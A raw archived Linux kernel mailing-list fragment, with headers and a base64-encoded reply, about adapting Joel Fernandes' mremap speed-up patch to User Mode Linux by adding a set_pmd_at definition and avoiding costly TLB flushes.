 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gB0lu-0006ul-Ts; Fri, 12 Oct 2018 17:58:42 +0100
In-Reply-To: <20181012165012.GD223066@joelaf.mtv.corp.google.com>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_100017_551905_EDE79FF2 
X-CRM114-Status: GOOD (  30.82  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1052 gmane.linux.ports.mips.general:67048 gmane.linux.ports.ia64:29384 gmane.linux.ports.sh.devel:57632 gmane.linux.kernel.mm:205160 gmane.linux.ports.sparc:28554 gmane.linux.ports.hexagon:1907 gmane.comp.emulators.kvm.arm.devel:19433 gmane.linux.kernel.arc:4533 gmane.linux.ports.alpha:5309 gmane.linux.ports.arm.kernel:679364 gmane.linux.ports.parisc:29159 gmane.linux.kernel:2897833 gmane.linux.ports.ppc64.devel:164155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1052>

Ck9uIDEwLzEyLzE4IDU6NTAgUE0sIEpvZWwgRmVybmFuZGVzIHdyb3RlOgo+IE9uIEZyaSwgT2N0
IDEyLCAyMDE4IGF0IDA1OjQyOjI0UE0gKzAxMDAsIEFudG9uIEl2YW5vdiB3cm90ZToKPj4gT24g
MTAvMTIvMTggMzo0OCBQTSwgQW50b24gSXZhbm92IHdyb3RlOgo+Pj4gT24gMTIvMTAvMjAxOCAx
NTozNywgS2lyaWxsIEEuIFNodXRlbW92IHdyb3RlOgo+Pj4+IE9uIEZyaSwgT2N0IDEyLCAyMDE4
IGF0IDAzOjA5OjQ5UE0gKzAxMDAsIEFudG9uIEl2YW5vdiB3cm90ZToKPj4+Pj4gT24gMTAvMTIv
MTggMjozNyBBTSwgSm9lbCBGZXJuYW5kZXMgKEdvb2dsZSkgd3JvdGU6Cj4+Pj4+PiBBbmRyb2lk
IG5lZWRzIHRvIG1yZW1hcCBsYXJnZSByZWdpb25zIG9mIG1lbW9yeSBkdXJpbmcKPj4+Pj4+IG1l
bW9yeSBtYW5hZ2VtZW50Cj4+Pj4+PiByZWxhdGVkIG9wZXJhdGlvbnMuIFRoZSBtcmVtYXAgc3lz
dGVtIGNhbGwgY2FuIGJlIHJlYWxseQo+Pj4+Pj4gc2xvdyBpZiBUSFAgaXMKPj4+Pj4+IG5vdCBl
bmFibGVkLiBUaGUgYm90dGxlbmVjayBpcyBtb3ZlX3BhZ2VfdGFibGVzLCB3aGljaCBpcyBjb3B5
aW5nIGVhY2gKPj4+Pj4+IHB0ZSBhdCBhIHRpbWUsIGFuZCBjYW4gYmUgcmVhbGx5IHNsb3cgYWNy
b3NzIGEgbGFyZ2UgbWFwLgo+Pj4+Pj4gVHVybmluZyBvbiBUSFAKPj4+Pj4+IG1heSBub3QgYmUg
YSB2aWFibGUgb3B0aW9uLCBhbmQgaXMgbm90IGZvciB1cy4gVGhpcyBwYXRjaAo+Pj4+Pj4gc3Bl
ZWRzIHVwIHRoZQo+Pj4+Pj4gcGVyZm9ybWFuY2UgZm9yIG5vbi1USFAgc3lzdGVtIGJ5IGNvcHlp
bmcgYXQgdGhlIFBNRCBsZXZlbAo+Pj4+Pj4gd2hlbiBwb3NzaWJsZS4KPj4+Pj4+Cj4+Pj4+PiBU
aGUgc3BlZWQgdXAgaXMgdGhyZWUgb3JkZXJzIG9mIG1hZ25pdHVkZS4gT24gYSAxR0IgbXJlbWFw
LCB0aGUgbXJlbWFwCj4+Pj4+PiBjb21wbGV0aW9uIHRpbWVzIGRyb3BzIGZyb20gMTYwLTI1MCBt
aWxsZXNjb25kcyB0byAzODAtNDAwCj4+Pj4+PiBtaWNyb3NlY29uZHMuCj4+Pj4+Pgo+Pj4+Pj4g
QmVmb3JlOgo+Pj4+Pj4gVG90YWwgbXJlbWFwIHRpbWUgZm9yIDFHQiBkYXRhOiAyNDIzMjEwMTQg
bmFub3NlY29uZHMuCj4+Pj4+PiBUb3RhbCBtcmVtYXAgdGltZSBmb3IgMUdCIGRhdGE6IDE5Njg0
MjQ2NyBuYW5vc2Vjb25kcy4KPj4+Pj4+IFRvdGFsIG1yZW1hcCB0aW1lIGZvciAxR0IgZGF0YTog
MTY3MDUxMTYyIG5hbm9zZWNvbmRzLgo+Pj4+Pj4KPj4+Pj4+IEFmdGVyOgo+Pj4+Pj4gVG90YWwg
bXJlbWFwIHRpbWUgZm9yIDFHQiBkYXRhOiAzODU3ODEgbmFub3NlY29uZHMuCj4+Pj4+PiBUb3Rh
bCBtcmVtYXAgdGltZSBmb3IgMUdCIGRhdGE6IDM4ODk1OSBuYW5vc2Vjb25kcy4KPj4+Pj4+IFRv
dGFsIG1yZW1hcCB0aW1lIGZvciAxR0IgZGF0YTogNDAyODEzIG5hbm9zZWNvbmRzLgo+Pj4+Pj4K
Pj4+Pj4+IEluY2FzZSBUSFAgaXMgZW5hYmxlZCwgdGhlIG9wdGltaXphdGlvbiBpcyBza2lwcGVk
LiBJIGFsc28gZmx1c2ggdGhlCj4+Pj4+PiB0bGIgZXZlcnkgdGltZSB3ZSBkbyB0aGlzIG9wdGlt
aXphdGlvbiBzaW5jZSBJIGNvdWxkbid0IGZpbmQgYSB3YXkgdG8KPj4+Pj4+IGRldGVybWluZSBp
ZiB0aGUgbG93LWxldmVsIFBURXMgYXJlIGRpcnR5LiBJdCBpcyBzZWVuIHRoYXQgdGhlIGNvc3Qg
b2YKPj4+Pj4+IGRvaW5nIHNvIGlzIG5vdCBtdWNoIGNvbXBhcmVkIHRoZSBpbXByb3ZlbWVudCwg
b24gYm90aAo+Pj4+Pj4geDg2LTY0IGFuZCBhcm02NC4KPj4+Pj4+Cj4+Pj4+PiBDYzogbWluY2hh
bkBrZXJuZWwub3JnCj4+Pj4+PiBDYzogcGFudGluQGdvb2dsZS5jb20KPj4+Pj4+IENjOiBodWdo
ZEBnb29nbGUuY29tCj4+Pj4+PiBDYzogbG9rZXNoZ2lkcmFAZ29vZ2xlLmNvbQo+Pj4+Pj4gQ2M6
IGRhbmNvbEBnb29nbGUuY29tCj4+Pj4+PiBDYzogbWhvY2tvQGtlcm5lbC5vcmcKPj4+Pj4+IENj
OiBraXJpbGxAc2h1dGVtb3YubmFtZQo+Pj4+Pj4gQ2M6IGFrcG1AbGludXgtZm91bmRhdGlvbi5v
cmcKPj4+Pj4+IFNpZ25lZC1vZmYtYnk6IEpvZWwgRmVybmFuZGVzIChHb29nbGUpIDxqb2VsQGpv
ZWxmZXJuYW5kZXMub3JnPgo+Pj4+Pj4gLS0tCj4+Pj4+PiAgwqDCoCBtbS9tcmVtYXAuYyB8IDYy
Cj4+Pj4+PiArKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
KysrKwo+Pj4+Pj4gIMKgwqAgMSBmaWxlIGNoYW5nZWQsIDYyIGluc2VydGlvbnMoKykKPj4+Pj4+
Cj4+Pj4+PiBkaWZmIC0tZ2l0IGEvbW0vbXJlbWFwLmMgYi9tbS9tcmVtYXAuYwo+Pj4+Pj4gaW5k
ZXggOWU2OGEwMmE1MmIxLi5kODJjNDg1ODIyZWYgMTAwNjQ0Cj4+Pj4+PiAtLS0gYS9tbS9tcmVt
YXAuYwo+Pj4+Pj4gKysrIGIvbW0vbXJlbWFwLmMKPj4+Pj4+IEBAIC0xOTEsNiArMTkxLDU0IEBA
IHN0YXRpYyB2b2lkIG1vdmVfcHRlcyhzdHJ1Y3QKPj4+Pj4+IHZtX2FyZWFfc3RydWN0ICp2bWEs
IHBtZF90ICpvbGRfcG1kLAo+Pj4+Pj4gIMKgwqDCoMKgwqDCoMKgwqDCoMKgIGRyb3Bfcm1hcF9s
b2Nrcyh2bWEpOwo+Pj4+Pj4gIMKgwqAgfQo+Pj4+Pj4gK3N0YXRpYyBib29sIG1vdmVfbm9ybWFs
X3BtZChzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKPj4+Pj4+IHVuc2lnbmVkIGxvbmcgb2xk
X2FkZHIsCj4+Pj4+PiArwqDCoMKgwqDCoMKgwqDCoMKgIHVuc2lnbmVkIGxvbmcgbmV3X2FkZHIs
IHVuc2lnbmVkIGxvbmcgb2xkX2VuZCwKPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoMKgwqAgcG1kX3Qg
Km9sZF9wbWQsIHBtZF90ICpuZXdfcG1kLCBib29sICpuZWVkX2ZsdXNoKQo+Pj4+Pj4gK3sKPj4+
Pj4+ICvCoMKgwqAgc3BpbmxvY2tfdCAqb2xkX3B0bCwgKm5ld19wdGw7Cj4+Pj4+PiArwqDCoMKg
IHN0cnVjdCBtbV9zdHJ1Y3QgKm1tID0gdm1hLT52bV9tbTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKg
wqAgaWYgKChvbGRfYWRkciAmIH5QTURfTUFTSykgfHwgKG5ld19hZGRyICYgflBNRF9NQVNLKQo+
Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHx8IG9sZF9lbmQgLSBvbGRfYWRkciA8IFBNRF9TSVpFKQo+
Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHJldHVybiBmYWxzZTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKg
wqAgLyoKPj4+Pj4+ICvCoMKgwqDCoCAqIFRoZSBkZXN0aW5hdGlvbiBwbWQgc2hvdWxkbid0IGJl
IGVzdGFibGlzaGVkLCBmcmVlX3BndGFibGVzKCkKPj4+Pj4+ICvCoMKgwqDCoCAqIHNob3VsZCBo
YXZlIHJlbGVhc2UgaXQuCj4+Pj4+PiArwqDCoMKgwqAgKi8KPj4+Pj4+ICvCoMKgwqAgaWYgKFdB
Uk5fT04oIXBtZF9ub25lKCpuZXdfcG1kKSkpCj4+Pj4+PiArwqDCoMKgwqDCoMKgwqAgcmV0dXJu
IGZhbHNlOwo+Pj4+Pj4gKwo+Pj4+Pj4gK8KgwqDCoCAvKgo+Pj4+Pj4gK8KgwqDCoMKgICogV2Ug
ZG9uJ3QgaGF2ZSB0byB3b3JyeSBhYm91dCB0aGUgb3JkZXJpbmcgb2Ygc3JjIGFuZCBkc3QKPj4+
Pj4+ICvCoMKgwqDCoCAqIHB0bG9ja3MgYmVjYXVzZSBleGNsdXNpdmUgbW1hcF9zZW0gcHJldmVu
dHMgZGVhZGxvY2suCj4+Pj4+PiArwqDCoMKgwqAgKi8KPj4+Pj4+ICvCoMKgwqAgb2xkX3B0bCA9
IHBtZF9sb2NrKHZtYS0+dm1fbW0sIG9sZF9wbWQpOwo+Pj4+Pj4gK8KgwqDCoCBpZiAob2xkX3B0
bCkgewo+Pj4+Pj4gK8KgwqDCoMKgwqDCoMKgIHBtZF90IHBtZDsKPj4+Pj4+ICsKPj4+Pj4+ICvC
oMKgwqDCoMKgwqDCoCBuZXdfcHRsID0gcG1kX2xvY2twdHIobW0sIG5ld19wbWQpOwo+Pj4+Pj4g
K8KgwqDCoMKgwqDCoMKgIGlmIChuZXdfcHRsICE9IG9sZF9wdGwpCj4+Pj4+PiArwqDCoMKgwqDC
oMKgwqDCoMKgwqDCoCBzcGluX2xvY2tfbmVzdGVkKG5ld19wdGwsIFNJTkdMRV9ERVBUSF9ORVNU
SU5HKTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoCAvKiBDbGVhciB0aGUgcG1kICov
Cj4+Pj4+PiArwqDCoMKgwqDCoMKgwqAgcG1kID0gKm9sZF9wbWQ7Cj4+Pj4+PiArwqDCoMKgwqDC
oMKgwqAgcG1kX2NsZWFyKG9sZF9wbWQpOwo+Pj4+Pj4gKwo+Pj4+Pj4gK8KgwqDCoMKgwqDCoMKg
IFZNX0JVR19PTighcG1kX25vbmUoKm5ld19wbWQpKTsKPj4+Pj4+ICsKPj4+Pj4+ICvCoMKgwqDC
oMKgwqDCoCAvKiBTZXQgdGhlIG5ldyBwbWQgKi8KPj4+Pj4+ICvCoMKgwqDCoMKgwqDCoCBzZXRf
cG1kX2F0KG1tLCBuZXdfYWRkciwgbmV3X3BtZCwgcG1kKTsKPj4+Pj4gVU1MIGRvZXMgbm90IGhh
dmUgc2V0X3BtZF9hdCBhdCBhbGwKPj4+PiBFdmVyeSBhcmNoaXRlY3R1cmUgZG9lcy4gOikKPj4+
IEkgdHJpZWQgdG8gYnVpbGQgaXQgcGF0Y2hpbmcgdnMgNC4xOS1yYyBiZWZvcmUgSSBtYWRlIHRo
aXMgc3RhdGVtZW50IGFuZAo+Pj4gcmFuIGludG8gdGhhdC4KPj4+Cj4+PiBQcmVzZW50bHkgaXQg
ZG9lcyBub3QuCj4+Pgo+Pj4gaHR0cHM6Ly9lbGl4aXIuYm9vdGxpbi5jb20vbGludXgvdjQuMTkt
cmM3L2lkZW50L3NldF9wbWRfYXQgLSBVTUwgaXMgbm90Cj4+PiBvbiB0aGUgbGlzdC4KPj4gT25j
ZSB0aGlzIHByb2JsZW0gYXMgd2VsbCBhcyB0aGUgb21pc3Npb25zIGluIHRoZSBpbmNsdWRlIGNo
YW5nZXMgZm9yIFVNTCBpbgo+PiBwYXRjaCBvbmUgaGF2ZSBiZWVuIGZpeGVkIGl0IGFwcGVhcnMg
dG8gYmUgd29ya2luZy4KPj4KPj4gV2hhdCBpdCBuZWVkcyBpcyBhdHRhY2hlZC4KPj4KPj4KPj4+
PiBCdXQgaXQgbWF5IGNvbWUgbm90IGZyb20gdGhlIGFyY2ggY29kZS4KPj4+IFRoZXJlIGlzIG5v
IGdlbmVyaWMgZGVmaW5pdGlvbiBhcyBmYXIgYXMgSSBjYW4gc2VlLiBBbGwgMTIgZGVmaW5lcyBp
bgo+Pj4gNC4xOSBhcmUgaW4gYXJjaCBzcGVjaWZpYyBjb2RlLiBVbmxlc3MgaSBhbSBtaXNzaW5n
IHNvbWV0aGluZy4uLgo+Pj4KPj4+Pj4gSWYgSSByZWFkIHRoZSBjb2RlIHJpZ2h0LCBNSVBTIGNv
bXBsZXRlbHkgaWdub3JlcyB0aGUgYWRkcmVzcwo+Pj4+PiBhcmd1bWVudCBzbwo+Pj4+PiBzZXRf
cG1kX2F0IHRoZXJlIG1heSBub3QgaGF2ZSB0aGUgZWZmZWN0IHdoaWNoIHRoaXMgcGF0Y2ggaXMg
dHJ5aW5nIHRvCj4+Pj4+IGFjaGlldmUuCj4+Pj4gSWdub3JpbmcgYWRkcmVzcyBpcyBmaW5lLiBN
b3N0IGFyY2hpdGVjdHVyZXMgZG8gdGhhdC4uCj4+Pj4gVGhlIGlkZWFzIGlzIHRvIG1vdmUgcGFn
ZSB0YWJsZSB0byB0aGUgbmV3IHBtZCBzbG90LiBJdCdzIG5vdGhpbmcgdG8gZG8KPj4+PiB3aXRo
IHRoZSBhZGRyZXNzIHBhc3NlZCB0byBzZXRfcG1kX2F0KCkuCj4+PiBJZiB0aGF0IGlzIGl0J3Mg
b25seSBmdW5jdGlvbiwgdGhlbiBJIGFtIGdvaW5nIHRvIGFwcHJvcHJpYXRlIHRoZSBjb2RlCj4+
PiBvdXQgb2YgdGhlIE1JUFMgdHJlZSBmb3IgZnVydGhlciB1bWwgdGVzdGluZy4gSXQgZG9lcyBl
eGFjdGx5IHRoYXQgLQo+Pj4ganVzdCBtb3ZlIHRoZSBwbWQgdGhlIG5ldyBzbG90Lgo+Pj4KPj4+
IEEuCj4+Cj4+IEEuCj4+Cj4+ICBGcm9tIGFjMjY1ZDk2ODk3YTM0NmIwNTY0NmZjZTkxNzg0ZWQ0
OTIyYzdmOGQgTW9uIFNlcCAxNyAwMDowMDowMCAyMDAxCj4+IEZyb206IEFudG9uIEl2YW5vdiA8
YW50b24uaXZhbm92QGNhbWJyaWRnZWdyZXlzLmNvbT4KPj4gRGF0ZTogRnJpLCAxMiBPY3QgMjAx
OCAxNzoyNDoxMCArMDEwMAo+PiBTdWJqZWN0OiBbUEFUQ0hdIEluY3JlbWVudGFsIGZpeGVzIHRv
IHRoZSBtbXJlbWFwIHBhdGNoCj4+Cj4+IFNpZ25lZC1vZmYtYnk6IEFudG9uIEl2YW5vdiA8YW50
b24uaXZhbm92QGNhbWJyaWRnZWdyZXlzLmNvbT4KPj4gLS0tCj4+ICAgYXJjaC91bS9pbmNsdWRl
L2FzbS9wZ2FsbG9jLmggfCA0ICsrLS0KPj4gICBhcmNoL3VtL2luY2x1ZGUvYXNtL3BndGFibGUu
aCB8IDMgKysrCj4+ICAgYXJjaC91bS9rZXJuZWwvdGxiLmMgICAgICAgICAgfCA2ICsrKysrKwo+
PiAgIDMgZmlsZXMgY2hhbmdlZCwgMTEgaW5zZXJ0aW9ucygrKSwgMiBkZWxldGlvbnMoLSkKPj4K
Pj4gZGlmZiAtLWdpdCBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGdhbGxvYy5oIGIvYXJjaC91bS9p
bmNsdWRlL2FzbS9wZ2FsbG9jLmgKPj4gaW5kZXggYmY5MGIyYWEyMDAyLi45OWViNTY4Mjc5MmEg
MTAwNjQ0Cj4+IC0tLSBhL2FyY2gvdW0vaW5jbHVkZS9hc20vcGdhbGxvYy5oCj4+ICsrKyBiL2Fy
Y2gvdW0vaW5jbHVkZS9hc20vcGdhbGxvYy5oCj4+IEBAIC0yNSw4ICsyNSw4IEBACj4+ICAgZXh0
ZXJuIHBnZF90ICpwZ2RfYWxsb2Moc3RydWN0IG1tX3N0cnVjdCAqKTsKPj4gICBleHRlcm4gdm9p
ZCBwZ2RfZnJlZShzdHJ1Y3QgbW1fc3RydWN0ICptbSwgcGdkX3QgKnBnZCk7Cj4+ICAgCj4+IC1l
eHRlcm4gcHRlX3QgKnB0ZV9hbGxvY19vbmVfa2VybmVsKHN0cnVjdCBtbV9zdHJ1Y3QgKiwgdW5z
aWduZWQgbG9uZyk7Cj4+IC1leHRlcm4gcGd0YWJsZV90IHB0ZV9hbGxvY19vbmUoc3RydWN0IG1t
X3N0cnVjdCAqLCB1bnNpZ25lZCBsb25nKTsKPj4gK2V4dGVybiBwdGVfdCAqcHRlX2FsbG9jX29u
ZV9rZXJuZWwoc3RydWN0IG1tX3N0cnVjdCAqKTsKPj4gK2V4dGVybiBwZ3RhYmxlX3QgcHRlX2Fs
bG9jX29uZShzdHJ1Y3QgbW1fc3RydWN0ICopOwo+IElmIGl0cyBPaywgbGV0IG1lIGhhbmRsZSB0
aGlzIGJpdCBzaW5jZSBvdGhlcndpc2UgaXQgY29tcGxpY2F0ZXMgdGhpbmdzIGZvcgo+IG1lLgo+
Cj4+ICAgc3RhdGljIGlubGluZSB2b2lkIHB0ZV9mcmVlX2tlcm5lbChzdHJ1Y3QgbW1fc3RydWN0
ICptbSwgcHRlX3QgKnB0ZSkKPj4gICB7Cj4+IGRpZmYgLS1naXQgYS9hcmNoL3VtL2luY2x1ZGUv
YXNtL3BndGFibGUuaCBiL2FyY2gvdW0vaW5jbHVkZS9hc20vcGd0YWJsZS5oCj4+IGluZGV4IDc0
ODUzOThkMDczNy4uMTY5MmRhNTVlNjNhIDEwMDY0NAo+PiAtLS0gYS9hcmNoL3VtL2luY2x1ZGUv
YXNtL3BndGFibGUuaAo+PiArKysgYi9hcmNoL3VtL2luY2x1ZGUvYXNtL3BndGFibGUuaAo+PiBA
QCAtMzU5LDQgKzM1OSw3IEBAIGRvIHsJCQkJCQlcCj4+ICAgCV9fZmx1c2hfdGxiX29uZSgodmFk
ZHIpKTsJCVwKPj4gICB9IHdoaWxlICgwKQo+PiAgIAo+PiArZXh0ZXJuIHZvaWQgc2V0X3BtZF9h
dChzdHJ1Y3QgbW1fc3RydWN0ICptbSwgdW5zaWduZWQgbG9uZyBhZGRyLAo+PiArCQlwbWRfdCAq
cG1kcCwgcG1kX3QgcG1kKTsKPj4gKwo+PiAgICNlbmRpZgo+PiBkaWZmIC0tZ2l0IGEvYXJjaC91
bS9rZXJuZWwvdGxiLmMgYi9hcmNoL3VtL2tlcm5lbC90bGIuYwo+PiBpbmRleCA3NjNkMzViZGRh
MDEuLmQxN2I3NDE4NGJhMCAxMDA2NDQKPj4gLS0tIGEvYXJjaC91bS9rZXJuZWwvdGxiLmMKPj4g
KysrIGIvYXJjaC91bS9rZXJuZWwvdGxiLmMKPj4gQEAgLTY0NywzICs2NDcsOSBAQCB2b2lkIGZv
cmNlX2ZsdXNoX2FsbCh2b2lkKQo+PiAgIAkJdm1hID0gdm1hLT52bV9uZXh0Owo+PiAgIAl9Cj4+
ICAgfQo+PiArdm9pZCBzZXRfcG1kX2F0KHN0cnVjdCBtbV9zdHJ1Y3QgKm1tLCB1bnNpZ25lZCBs
b25nIGFkZHIsCj4+ICsJCXBtZF90ICpwbWRwLCBwbWRfdCBwbWQpCj4+ICt7Cj4+ICsJKnBtZHAg
PSBwbWQ7Cj4+ICt9Cj4+ICsKPiBJIGJlbGlldmUgdGhpcyBzaG91bGQgYmUgaW5jbHVkZWQgaW4g
YSBzZXBhcmF0ZSBwYXRjaCBzaW5jZSBpdCBpcyBub3QgcmVsYXRlZAo+IHNwZWNpZmljYWxseSB0
byBwdGVfYWxsb2MgYXJndW1lbnQgcmVtb3ZhbC4gSWYgeW91IHdhbnQsIEkgY291bGQgc3BsaXQg
aXQKPiBpbnRvIGEgc2VwYXJhdGUgcGF0Y2ggZm9yIG15IHNlcmllcyB3aXRoIHlvdSBhcyBhdXRo
b3IuCgoKV2hpY2hldmVyIGlzIG1vcmUgY29udmVuaWVudCBmb3IgeW91LgoKT25lIHRoaW5nIHRv
IG5vdGUgLSB0bGIgZmx1c2ggaXMgZXh0cmVtZWx5IGV4cGVuc2l2ZSBvbiB1bWwuCgpJIGhhdmUg
bGlmdGVkIHRoZSBkZWZpbml0aW9uIG9mIHNldF9wbWRfYXQgZnJvbSB0aGUgbWlwcyB0cmVlIGFu
ZCAKcmVtb3ZlZCB0aGUgdGxiX2ZsdXNoX2FsbCBmcm9tIGl0IGZvciB0aGlzIGV4YWN0IHJlYXNv
bi4KCklmIEkgcmVhZCB0aGUgb3JpZ2luYWwgcGF0Y2ggY29ycmVjdGx5LCBpdCBkb2VzIGl0cyBv
d24gZmx1c2ggY29udHJvbCBzbyAKc2V0X3BtZF9hdCBkb2VzIG5vdCBuZWVkIHRvIGRvIGEgZm9y
Y2UgZmx1c2ggZXZlcnkgdGltZS4gSXQgaXMgZG9uZSAKZnVydGhlciB1cCB0aGUgY2hhaW4uCgpC
cmdkcywKCkEuCgoKPgo+IHRoYW5rcywKPgo+IC0gSm9lbAo+Cj4KCl9fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmxpbnV4LXJpc2N2IG1haWxpbmcgbGlzdAps
aW51eC1yaXNjdkBsaXN0cy5pbmZyYWRlYWQub3JnCmh0dHA6Ly9saXN0cy5pbmZyYWRlYWQub3Jn
L21haWxtYW4vbGlzdGluZm8vbGludXgtcmlzY3YK


From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 10:06:58 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <20181012170658.GF223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
 <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
 <20181012165012.GD223066@joelaf.mtv.corp.google.com>
 <4f969958-913e-cb9f-48fb-e3a88e1d288c@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539364487 27774 195.159.176.226 (12 Oct 2018 17:14:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 17:14:47 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 19:14:38 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB11I-0006zv-5M
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 19:14:36 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=S+dnDWXyO6kC5gBAtOp7/nV6VUsbCTcgSYg069JN8eA=; b=aVneyHq42nmj/1
	w8SHSJ9db45P0gFUk2RgM7ypaQnUgdLklUle8uaeoT4ebBEyH7OnPMz6xQ7Ue7PsVOVwRxMGZCxzX
	0VErJPDLnQq3xMXwvLwAiA6aN9+zDuYM7qs+qUJ6Gj4vq6MCUi8puZhnJtZQ7bHUQnZJyjmU18lYM
	fDFbw7RXnAOdY/wRYt9YEt94zRP6h1RwR0TIZb8vpLF/zPS9+ggrQvFuY2pz2W1idy2sKp3XYbYyW
	QhJp4Fjdx8GFQhzqCtRdl1jsfRY9cuwT7pihE2Gz+/rCxMyI+nq4yWvyVBPm/xOstYlMmLLghPrKY
	c8lGNHFJ3/lIwykKJomA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB13M-0008D6-DG; Fri, 12 Oct 2018 17:16:44 +0000
Original-Received: from casper.infradead.org ([2001:8b0:10b:1236::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0ud-00047c-Jb
 for linux-riscv@bombadil.infradead.org; Fri, 12 Oct 2018 17:07:43 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=casper.20170209; h=In-Reply-To:Content-Type:MIME-Version:
 References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
